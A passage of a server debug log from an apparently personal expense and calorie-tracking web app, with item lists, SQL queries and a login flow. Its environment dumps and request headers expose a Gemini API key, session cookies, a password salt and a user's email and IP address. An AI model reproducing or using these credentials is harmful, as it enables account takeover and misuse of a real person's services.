  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T06:11:18.490Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T06:11:18.490Z server-connect:app Executing action step select
2025-12-13T06:11:18.490Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T06:11:18.492Z server-connect:output item_list: []
2025-12-13T06:11:18.492Z server-connect:app Executing action step setvalue
2025-12-13T06:11:18.492Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T06:11:18.492Z server-connect:output var_total: 0
2025-12-13T06:11:18.492Z server-connect:app Executing action step setvalue
2025-12-13T06:11:18.492Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T06:11:18.492Z server-connect:output var_consumed: 0
2025-12-13T06:11:18.492Z server-connect:app Executing action step setvalue
2025-12-13T06:11:18.492Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T06:11:18.493Z server-connect:output var_deficit: 2400
2025-12-13T06:11:18.493Z server-connect:app Executing action step custom
2025-12-13T06:11:18.493Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T06:11:18.494Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  }
]
2025-12-13T06:28:07.813Z server-connect:router Serving templateView /
2025-12-13T06:28:07.814Z server-connect:app Executing action step identify
2025-12-13T06:28:07.814Z server-connect:app options: { provider: 'security' }
2025-12-13T06:28:07.814Z server-connect:auth No login cookie found
2025-12-13T06:28:07.814Z server-connect:output identity: false
2025-12-13T06:28:07.814Z server-connect:app Executing action step restrict
2025-12-13T06:28:07.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:28:07.814Z server-connect:output restrict: undefined
2025-12-13T06:28:08.013Z server-connect:router Serving templateView /login
2025-12-13T06:28:08.014Z server-connect:app Executing action step identify
2025-12-13T06:28:08.014Z server-connect:app options: { provider: 'security' }
2025-12-13T06:28:08.014Z server-connect:auth No login cookie found
2025-12-13T06:28:08.014Z server-connect:output identity: false
2025-12-13T06:28:08.014Z server-connect:router Render template layouts/authentication
2025-12-13T06:28:08.014Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:08.013Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T06:28:58.066Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-13T06:28:58.066Z server-connect:app Executing action step identify
2025-12-13T06:28:58.066Z server-connect:app options: { provider: 'security' }
2025-12-13T06:28:58.066Z server-connect:auth No login cookie found
2025-12-13T06:28:58.066Z server-connect:output identity: false
2025-12-13T06:28:58.066Z server-connect:app Executing action step login
2025-12-13T06:28:58.066Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-13T06:28:58.069Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-13T06:28:58.120Z server-connect:output identity: 1
2025-12-13T06:28:58.120Z server-connect:app Executing action step restrict
2025-12-13T06:28:58.120Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:28:58.121Z server-connect:output restrict: undefined
2025-12-13T06:28:58.352Z server-connect:router Serving templateView /
2025-12-13T06:28:58.352Z server-connect:app Executing action step identify
2025-12-13T06:28:58.352Z server-connect:app options: { provider: 'security' }
2025-12-13T06:28:58.352Z server-connect:output identity: 1
2025-12-13T06:28:58.352Z server-connect:app Executing action step restrict
2025-12-13T06:28:58.352Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:28:58.353Z server-connect:output restrict: undefined
2025-12-13T06:28:58.353Z server-connect:app Executing action step restrict
2025-12-13T06:28:58.353Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:28:58.353Z server-connect:output restrict: undefined
2025-12-13T06:28:58.353Z server-connect:router Render template layouts/main
2025-12-13T06:28:58.353Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T06:29:00.059Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T06:29:00.060Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T06:29:00.060Z server-connect:app Executing action step identify
2025-12-13T06:29:00.060Z server-connect:app options: { provider: 'security' }
2025-12-13T06:29:00.060Z server-connect:output identity: 1
2025-12-13T06:29:00.060Z server-connect:app Executing action step restrict
2025-12-13T06:29:00.060Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:29:00.060Z server-connect:app Executing action step identify
2025-12-13T06:29:00.061Z server-connect:app options: { provider: 'security' }
2025-12-13T06:29:00.061Z server-connect:output identity: 1
2025-12-13T06:29:00.061Z server-connect:app Executing action step restrict
2025-12-13T06:29:00.061Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:29:00.061Z server-connect:output restrict: undefined
2025-12-13T06:29:00.061Z server-connect:app Executing action step select
2025-12-13T06:29:00.061Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T06:29:00.062Z server-connect:output restrict: undefined
2025-12-13T06:29:00.063Z server-connect:app Executing action step single
2025-12-13T06:29:00.063Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T06:29:00.068Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
